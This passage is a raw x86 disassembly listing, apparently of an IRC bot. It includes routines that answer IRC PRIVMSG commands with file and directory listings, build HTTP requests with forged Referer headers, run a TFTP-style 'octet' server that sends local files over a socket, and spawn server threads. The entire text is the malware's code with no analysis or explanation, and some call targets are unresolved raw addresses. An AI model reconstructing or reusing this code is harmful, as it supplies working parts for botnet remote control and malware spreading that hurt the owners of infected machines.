sub_406387+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40662D sub eax, 0Ch loc_40662D: ; CODE XREF: sub_406387+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4172B0 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4067D0 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4066A1 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_406919 ; --------------------------------------------------------------------------- loc_4066A1: ; CODE XREF: sub_406387+2E0j cmp [ebp+arg_C], ebx jz loc_40678B push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS ; "%s%s/" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_406741 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_406746 ; --------------------------------------------------------------------------- loc_406741: ; CODE XREF: sub_406387+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_406746: ; CODE XREF: sub_406387+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40691A ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406387+31Dj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 14h jmp loc_406929 ; --------------------------------------------------------------------------- loc_4067D0: ; CODE XREF: sub_406387+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40680F push ebx push [ebp+var_368] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4067FB: ; CODE XREF: sub_406387+577j lea eax, [ebp+var_248] push eax call sub_41782A add esp, 1Ch jmp loc_406929 ; --------------------------------------------------------------------------- loc_40680F: ; CODE XREF: sub_406387+44Fj cmp [ebp+arg_C], ebx jz loc_406903 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4068AF push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4068B4 ; --------------------------------------------------------------------------- loc_4068AF: ; CODE XREF: sub_406387+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4068B4: ; CODE XREF: sub_406387+526j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4067FB ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_406387+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_406919: ; CODE XREF: sub_406387+315j push esi loc_40691A: ; CODE XREF: sub_406387+3FFj lea eax, [ebp+var_248] push eax call sub_41782A add esp, 18h loc_406929: ; CODE XREF: sub_406387+444j ; sub_406387+483j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 cmp [ebp+arg_8], ebx jz short loc_406958 push 7D0h nop call near ptr 2630F90h loc_406958: ; CODE XREF: sub_406387+22Bj ; sub_406387+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 26D0000h nop test eax, eax jnz loc_4065AC loc_406970: ; CODE XREF: sub_406387+21Aj push [ebp+arg_0] call near ptr 26B03F3h nop cmp [ebp+arg_8], ebx jz short loc_4069B3 mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4172B0 add esp, 14h jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069B3: ; CODE XREF: sub_406387+5F5j cmp [ebp+arg_C], ebx jz short loc_4069CD lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406387+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4172B0 add esp, 10h loc_4069E7: ; CODE XREF: sub_406387+62Aj ; sub_406387+644j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 pop edi pop esi xor eax, eax pop ebx leave retn sub_406387 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A0D proc near ; CODE XREF: sub_405F4D+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 26707CBh mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406AC5 push esi push ebx nop call near ptr 26B0000h cmp eax, esi mov [ebp+arg_4], eax jz short loc_406ABE loc_406A52: ; CODE XREF: sub_406A0D+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_417330 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_406A6F mov edi, [ebp+arg_4] loc_406A6F: ; CODE XREF: sub_406A0D+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 26F0000h nop lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 26510A0h nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_406AB9 call dword_43AD2C cmp eax, 2733h jnz short loc_406ABE xor eax, eax loc_406AB9: ; CODE XREF: sub_406A0D+9Bj sub [ebp+arg_4], eax jnz short loc_406A52 loc_406ABE: ; CODE XREF: sub_406A0D+43j ; sub_406A0D+A8j push ebx call near ptr 2651922h nop loc_406AC5: ; CODE XREF: sub_406A0D+30j pop edi pop esi pop ebx leave retn sub_406A0D endp ; =============== S U B R O U T I N E ======================================= sub_406ACA proc near ; CODE XREF: sub_4060D0+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_417AB0 test eax, eax pop ecx jbe short loc_406AF3 loc_406ADD: ; CODE XREF: sub_406ACA+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406AE7 mov byte ptr [esi+edi], 2Fh loc_406AE7: ; CODE XREF: sub_406ACA+17j push edi inc esi call sub_417AB0 cmp esi, eax pop ecx jb short loc_406ADD loc_406AF3: ; CODE XREF: sub_406ACA+11j mov eax, edi pop edi pop esi retn sub_406ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AF8 proc near ; CODE XREF: sub_40EE72+2BE6p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_43AD10 push 6 push 1 push 2 call dword_43AE18 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_43AD98 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz short loc_406BD5 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406B71 mov eax, offset byte_436EDC loc_406B71: ; CODE XREF: sub_406AF8+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_43ADE8 push esi lea eax, [ebp+var_110] push edi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_43ADB0 pop esi loc_406BD5: ; CODE XREF: sub_406AF8+6Bj push ebx call dword_43AE30 call dword_43ACF8 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4172B0 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406C15 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_406C15: ; CODE XREF: sub_406AF8+102j pop edi pop ebx leave retn sub_406AF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C19 proc near ; CODE XREF: sub_406C19:loc_407104p ; DATA XREF: sub_407252+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406CDC push 190h call near ptr 2630F90h nop call dword_43AD2C push eax lea eax, [ebp+var_780] push offset unk_42AC38 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406CBC push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406CBC: ; CODE XREF: sub_406C19+7Ej lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 26302E2h loc_406CDC: ; CODE XREF: sub_406C19+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_4407FC[eax], edi lea eax, [ebp+var_44] push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_43AD98 mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_43ADC4 cmp eax, 0FFFFFFFFh jnz short loc_406D41 push 1388h nop call near ptr 2630F90h dec [ebp+var_16C] push [ebp+arg_0] jmp loc_407104 ; --------------------------------------------------------------------------- loc_406D41: ; CODE XREF: sub_406C19+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_406DBF push 190h nop call near ptr 2630F90h lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_42AC04 push eax call sub_4172B0 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417078 add esp, 28h push ebx nop call near ptr 26302E2h loc_406DBF: ; CODE XREF: sub_406C19+140j mov esi, 200h loc_406DC4: ; CODE XREF: sub_406C19+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_4070C4 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_417330 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_43AD80 test eax, eax jle loc_4070B8 mov al, byte_436EDC mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_43AD70 push [ebp+var_28] mov [ebp+var_C], eax call dword_43AE24 push eax lea eax, [ebp+var_58] push eax call sub_4172B0 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_4070A2 cmp [ebp+var_D7], 1 jnz loc_406FEE lea eax, [ebp+var_274] push eax call sub_417AB0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_417AB0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_418DA0 add esp, 14h test eax, eax jnz loc_406FA8 lea eax, [ebp+var_1C] push eax call sub_417AB0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_418DA0 add esp, 10h test eax, eax jnz loc_406FA8 push ebx push ebx push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_418A86 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_43ADFC lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42ABBC loc_406F5C: ; CODE XREF: sub_406C19+484j lea eax, [ebp+var_780] push eax call sub_4172B0 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406F96 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406F96: ; CODE XREF: sub_406C19+358j lea eax, [ebp+var_780] push eax call sub_40BF6D pop ecx jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FA8: ; CODE XREF: sub_406C19+2B6j ; sub_406C19+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_42ABA8 push edi call dword_43ADFC lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_42AB74 push eax call sub_4172B0 lea eax, [ebp+var_D8] push eax call sub_40BF6D add esp, 14h jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FEE: ; CODE XREF: sub_406C19+275j cmp [ebp+var_D7], 4 jnz loc_4070A2 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_40702B inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_407039 ; --------------------------------------------------------------------------- loc_40702B: ; CODE XREF: sub_406C19+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_407039: ; CODE XREF: sub_406C19+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_418A86 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax loc_407079: ; DATA XREF: ___:004282F8o ; ___:0042830Co ... lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_43ADFC cmp edi, ebx jnz short loc_4070B8 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42AB20 jmp loc_406F5C ; --------------------------------------------------------------------------- loc_4070A2: ; CODE XREF: sub_406C19+268j ; sub_406C19+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_42AB14 push edi call dword_43ADFC loc_4070B8: ; CODE XREF: sub_406C19+204j ; sub_406C19+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406DC4 loc_4070C4: ; CODE XREF: sub_406C19+1B4j push edi call dword_43AE30 push [ebp+var_8] call sub_417900 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_4070F8 push [ebp+var_170] call sub_417078 pop ecx push ebx nop call near ptr 26302E2h loc_4070F8: ; CODE XREF: sub_406C19+4CAj push 3E8h call near ptr 2630F90h nop push esi loc_407104: ; CODE XREF: sub_406C19+123j call sub_406C19 pop edi pop esi pop ebx leave retn 4 sub_406C19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407110 proc near ; CODE XREF: sub_40EE72+5D3Fp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_42B134 push eax xor ebx, ebx call sub_4172B0 cmp dword_42ACB0, ebx pop ecx pop ecx mov edi, 200h jz short loc_40717E push esi mov esi, offset dword_42ACB8 loc_407143: ; CODE XREF: sub_407110+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_407143 pop esi loc_40717E: ; CODE XREF: sub_407110+2Bj push dword_4CD5F0 call sub_40B721 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4172B0 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 34h pop edi pop ebx leave retn sub_407110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071DB proc near ; CODE XREF: sub_40EE72+56B3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_416FA4 test eax, eax pop ecx jle short loc_407217 mov eax, [ebp+arg_C] push dword_436F18[eax*8] call dword_43AE24 push eax lea eax, [ebp+var_200] push offset unk_42B198 push eax call sub_4172B0 add esp, 0Ch jmp short loc_40722A ; --------------------------------------------------------------------------- loc_407217: ; CODE XREF: sub_4071DB+13j lea eax, [ebp+var_200] push offset unk_42B168 push eax call sub_4172B0 pop ecx pop ecx loc_40722A: ; CODE XREF: sub_4071DB+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 18h leave retn sub_4071DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407252 proc near ; CODE XREF: sub_40797F+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_4075E2 imul eax, 3Ch xor ebx, ebx cmp dword_42ACBC[eax], ebx jz loc_4074C3 push 4 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov eax, dword_42F5AC push edi mov edi, offset dword_438F34 push 104h push edi push ebx mov dword_439144, eax mov dword_439140, ebx nop call near ptr 2680000h push 103h mov esi, offset dword_439038 push offset byte_42F678 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_438F30, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4391C8, eax jnz short loc_407305 lea eax, [ebp+arg_10] push eax push offset dword_439148 call sub_418C10 add esp, 0Ch mov dword_4391CC, 1 jmp short loc_40731F ; --------------------------------------------------------------------------- loc_407305: ; CODE XREF: sub_407252+94j lea eax, [ebp+arg_90] push eax push offset dword_439148 call sub_418C10 add esp, 0Ch mov dword_4391CC, ebx loc_40731F: ; CODE XREF: sub_407252+B1j push esi push edi push dword_439144 lea eax, [ebp+var_204] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_416D5C add esp, 20h mov dword_43913C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_438F30 push offset sub_406C19 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, dword_43913C imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_40738E loc_40737C: ; CODE XREF: sub_407252+13Aj cmp dword_4391D0, ebx jnz short loc_4073A9 push 32h nop call near ptr 2630F90h jmp short loc_40737C ; --------------------------------------------------------------------------- loc_40738E: ; CODE XREF: sub_407252+128j call near ptr 2670ADCh nop push eax lea eax, [ebp+var_204] push offset unk_42B2E8 push eax call sub_4172B0 add esp, 0Ch loc_4073A9: ; CODE XREF: sub_407252+130j lea eax, [ebp+var_204] push eax call sub_40BF6D mov edi, offset dword_43958C mov [esp+210h+var_210], 104h push edi push ebx mov dword_439798, ebx nop call near ptr 2680000h push 103h mov esi, offset dword_439690 push offset byte_42F678 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_439588, eax mov eax, [ebp+arg_138] push 7Fh mov dword_439820, eax jnz short loc_407424 lea eax, [ebp+arg_10] push eax push offset dword_4397A0 call sub_418C10 add esp, 0Ch mov dword_439824, 1 jmp short loc_40743E ; --------------------------------------------------------------------------- loc_407424: ; CODE XREF: sub_407252+1B3j lea eax, [ebp+arg_90] push eax push offset dword_4397A0 call sub_418C10 add esp, 0Ch mov dword_439824, ebx loc_40743E: ; CODE XREF: sub_407252+1D0j push esi push edi push dword_43979C lea eax, [ebp+var_204] push offset dword_42B298 push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_416D5C add esp, 20h mov dword_439794, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_439588 push offset sub_4053D5 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, dword_439794 pop edi imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4074B2 loc_40749C: ; CODE XREF: sub_407252+25Ej cmp dword_439828, ebx jnz loc_4075D5 push 32h nop call near ptr 2630F90h jmp short loc_40749C ; --------------------------------------------------------------------------- loc_4074B2: ; CODE XREF: sub_407252+248j call near ptr 2670ADCh nop push eax push offset dword_42B258 jmp loc_4075C6 ; --------------------------------------------------------------------------- loc_4074C3: ; CODE XREF: sub_407252+25j cmp dword_42ACC0[eax], ebx jz loc_4075E2 push 3 call sub_416FA4 test eax, eax pop ecx jnz loc_4075E2 mov esi, offset dword_439464 push 104h push esi push ebx nop call near ptr 2680000h push 5Ch push esi call sub_418F10 pop ecx cmp eax, ebx pop ecx jz short loc_407501 mov [eax], bl loc_407501: ; CODE XREF: sub_407252+2ABj mov eax, dword_42F5B0 mov dword_43957C, ebx mov dword_439568, eax lea eax, [ebp+arg_10] push eax push offset dword_4391DC call sub_4172B0 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4391D8, eax mov ecx, [ebp+arg_138] push esi push dword_439568 mov dword_439574, ecx mov ecx, [ebp+arg_13C] push eax mov dword_439578, ecx call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_416D5C add esp, 20h mov dword_439570, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4391D8 push offset sub_405AF2 push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, dword_439570 imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4075BA loc_4075A8: ; CODE XREF: sub_407252+366j cmp dword_439584, ebx jnz short loc_4075D5 push 32h nop call near ptr 2630F90h jmp short loc_4075A8 ; --------------------------------------------------------------------------- loc_4075BA: ; CODE XREF: sub_407252+354j nop call near ptr 2670ADCh push eax push offset unk_42B1C8 loc_4075C6: ; CODE XREF: sub_407252+26Cj lea eax, [ebp+var_204] push eax call sub_4172B0 add esp, 0Ch loc_4075D5: ; CODE XREF: sub_407252+250j ; sub_407252+35Cj lea eax, [ebp+var_204] push eax call sub_40BF6D pop ecx loc_4075E2: ; CODE XREF: sub_407252+14j ; sub_407252+35j ... pop esi pop ebx leave retn sub_407252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075E6 proc near ; CODE XREF: sub_407767:loc_4077D8p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:436F18h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_417390 add esp, 0Ch push [ebp+arg_0] call dword_43ACCC inc eax push eax mov [ebp+arg_0], eax call dword_43AD94 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_417390 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4075E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40762E proc near ; CODE XREF: sub_407767+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = 